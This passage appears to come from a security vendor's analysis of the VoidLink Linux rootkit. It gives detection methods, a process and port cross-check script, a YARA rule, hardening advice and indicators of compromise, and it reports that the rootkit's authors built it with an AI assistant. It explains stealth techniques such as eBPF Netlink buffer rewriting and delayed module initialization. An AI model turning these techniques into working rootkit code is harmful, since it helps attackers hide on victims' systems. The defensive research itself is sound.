VoidLink's ftrace hooks can be discovered by inspecting the kernel's tracing infrastructure. The file /sys/kernel/debug/tracing/enabled_functions lists all active ftrace hooks. Unexpected hooks on functions like __x64_sys_getdents64, vfs_read, do_send_sig_info, or __x64_sys_statx are highly suspicious. Note that VoidLink's vfs_read hook filters this file, so inspection from a trusted kernel is recommended.

eBPF program detection

The eBPF companion can be detected through bpftool prog list, which enumerates all loaded BPF programs. Kprobe and kretprobe programs attached to __sys_recvmsg are unusual in production environments and warrant investigation. Pinned BPF maps under /sys/fs/bpf/ (used by the ebpf_hide variant) are another indicator.

The bpf_probe_write_user helper facilitates direct writes from kernel-space eBPF programs into userland memory. Although designed for debugging, rootkits can exploit this functionality. Consequently, monitoring for instances of this helper's use presents a detection opportunity. This detection requires the collection of raw syslog data and the implementation of specific detection rules, as outlined below:

event.dataset:"system.syslog" and process.name:"kernel" and
message:"bpf_probe_write_user"

Behavioral cross-referencing

One of the most effective detection strategies doesn’t rely on inspecting the rootkit's artifacts directly but instead cross-references different views of the system for inconsistencies. Compare the output of ps aux against a raw listing of /proc/ directory entries. Compare netstat -tlnp against ss -tlnp against a direct read of /proc/net/tcp. If VoidLink's eBPF component isn’t loaded (or if the LKM and eBPF hide lists are out of sync), connections visible in one view but not another indicate rootkit activity.

A simple (generated) comparison script can automate this:

#!/bin/bash
# Behavioral cross-referencing: detect hidden processes and network connections
# by comparing multiple views of the same system state.

set -euo pipefail

echo "=== Process cross-reference ==="
ps_count=$(ps aux --no-header | wc -l)
proc_count=$(ls -d /proc/[0-9]* 2>/dev/null | wc -l)
echo "ps reports $ps_count processes, /proc has $proc_count entries"

if [ "$ps_count" -ne "$proc_count" ]; then
    echo "[!] MISMATCH — possible hidden or spoofed processes"
    ps aux --no-header | awk '{print $2}' | sort -n > /tmp/.ps_pids
    ls -d /proc/[0-9]* 2>/dev/null | xargs -n1 basename | sort -n > /tmp/.proc_pids
    diff /tmp/.ps_pids /tmp/.proc_pids || true
    rm -f /tmp/.ps_pids /tmp/.proc_pids
else
    echo "[OK] Process counts match"
fi

echo ""
echo "=== Network cross-reference ==="

# Method 1: ss (iproute2 — always available on modern Linux)
# -t = TCP, -l = listening, -n = numeric, no -p (needs root)
ss_port_nums=$(ss -tln | awk 'NR>1{print $4}' | grep -oP '\d+$' | sort -un)

# Method 2: Parse /proc/net/tcp directly (kernel-level view)
# Filter for state 0A (LISTEN), extract hex port, convert via shell printf
proc_ports=$(
    awk 'NR>1 && $4 == "0A" {split($2, a, ":"); print a[2]}' \
        /proc/net/tcp /proc/net/tcp6 2>/dev/null \
    | while read -r hex; do printf "%d\n" "0x$hex"; done \
    | sort -un
)

echo "ss listening ports      : $(echo "$ss_port_nums" | tr '\n' ' ')"
echo "/proc/net/tcp listening : $(echo "$proc_ports" | tr '\n' ' ')"

diff_result=$(diff <(echo "$ss_port_nums") <(echo "$proc_ports") || true)
if [ -z "$diff_result" ]; then
    echo "[OK] Network views match"
else
    echo "[!] MISMATCH — possible hidden connections:"
    echo "$diff_result"
fi

YARA signature

Based on our analysis, we developed the following YARA signature to detect VoidLink's compiled kernel modules and related artifacts:

rule Linux_Rootkit_VoidLink {
    meta:
        author = "Elastic Security"
        creation_date = "2026-03-12"
        last_modified = "2026-03-12"
        os = "Linux"
        arch = "x86_64"
        threat_name = "Linux.Rootkit.VoidLink"
        description = "Detects VoidLink LKM rootkit variants"

    strings:
        $mod1 = "AMD Memory Encryption Support"
        $mod2 = "AMD Memory Encryption Driver"
        $mod3 = "Advanced Micro Devices, Inc."
        $func1 = "vl_stealth"
        $func2 = "g_data"
        $func3 = "icmp_cmd"
        $func4 = "chk_pid"
        $func5 = "chk_port"
        $func6 = "mod_hide"
        $func7 = "amd_mem_encrypt"
        $ebpf1 = "hidden_ports"
        $ebpf2 = "recvmsg_ctx"
        $ebpf3 = "SOCK_DIAG_BY_FAMILY"

    condition:
        (2 of ($mod*) and 3 of ($func*)) or
        (1 of ($mod*) and 2 of ($ebpf*)) or
        (4 of ($func*))
}

Defensive recommendations

Defending against rootkits like VoidLink requires a multilayered approach that goes beyond traditional endpoint protection. Secure Boot and kernel module signing should be enforced to prevent unauthorized kernel modules from loading. The kernel lockdown mode, available since Linux 5.4, restricts operations such as direct memory access and unsigned module loading, even for root users. Monitor the Auditd subsystem for init_module and finit_module syscalls, as any unexpected kernel module load on a production server warrants immediate investigation.

For eBPF specifically, consider restricting the bpf() syscall to specific processes using seccomp profiles or LSM policies. The bpf_probe_write_user helper, which VoidLink abuses to modify userspace memory from eBPF programs, is a known high-risk primitive. Systems that don’t require eBPF-based debugging should consider disabling it entirely through sysctl (kernel.unprivileged_bpf_disabled=1).

Regular integrity checks that cross-reference different system views (process listings, network connections, module lists) from userspace and from a trusted kernel can reveal rootkit activity even when individual views are compromised. Kernel memory forensics tools that can scan for known rootkit patterns, such as ftrace hooks on suspicious functions or Netfilter hooks processing ICMP traffic, provide another layer of defense.

Observations

The following observables were identified during this research.

ObservableTypeNameReference
8.149.128[.]10ipv4-addrOperator IP (Alibaba Cloud)
116.62.172[.]147ipv4-addrOperator IP (Alibaba Cloud)
vl_stealth.kofilenamevl_stealthProduction LKM rootkit module
amd_mem_encrypt.kofilenameamd_mem_encryptMasqueraded LKM rootkit module
hide_ss.bpf.ofilenamehide_sseBPF ss-hiding component
ss_loaderfilenamess_loadereBPF loader binary
icmp_ctl.pyfilenameicmp_ctlICMP C2 control script
load_lkm.shfilenameload_lkmBoot-time persistence loader
/root/kernel5x_new/vl_stealth.kofilepathHard-coded module path
/var/log/vl_boot.logfilepathBoot loader log file
/sys/fs/bpf/vl_hide_tcpfilepathPinned BPF map (override variant)
0xC0DEicmp-magicDefault ICMP identification value
0x42xor-keyDefault XOR encryption key
AMD Memory Encryption SupportstringMasqueraded MODULE_DESCRIPTION
Advanced Micro Devices, Inc.stringMasqueraded MODULE_AUTHOR
8080network-portDefault hidden port

Conclusion

Check Point Research's publications on VoidLink revealed the scope and ambition of the broader framework: a cloud-native, modular C2 platform with over 30 plugins, adaptive stealth, and multiple transport channels. Our analysis of the leaked rootkit source code complements those findings by providing a deep technical look at the kernel-level subsystem that underpins VoidLink's concealment capabilities. The hybrid LKM-eBPF architecture, spanning four generations of iterative development, demonstrates both technical ambition and practical operational awareness, producing a rootkit capable of comprehensive stealth across multiple kernel versions, from CentOS 7's kernel 3.10 through Ubuntu 22.04's kernel 6.2.

Several aspects of VoidLink stand out as particularly noteworthy. The eBPF Netlink buffer manipulation technique for ss hiding is rarely documented and represents a creative application of bpf_probe_write_user that defenders should be aware of. The delayed initialization strategy evades synchronous module-load security checks, a technique uncommon in the wild and indicative of an understanding of modern EDR behavior. The runtime ICMP credential rotation adds an operational security layer, making network signature-based detection a moving target.

The evidence of LLM-assisted development, both at the project-planning level, documented by Check Point, and at the code-iteration level, visible in our data dump, is perhaps the most significant finding for the threat landscape as a whole. Together, these analyses demonstrate that operators with moderate Linux knowledge can produce kernel-level rootkits by iterating with an AI assistant, lowering a barrier that previously required years of kernel development expertise. As LLMs continue to improve, we expect this pattern to accelerate, making rootkit development accessible to a broader range of threat actors.

We’ll continue to monitor for VoidLink deployments and variants and will update our detection rules as new indicators emerge.

Share this article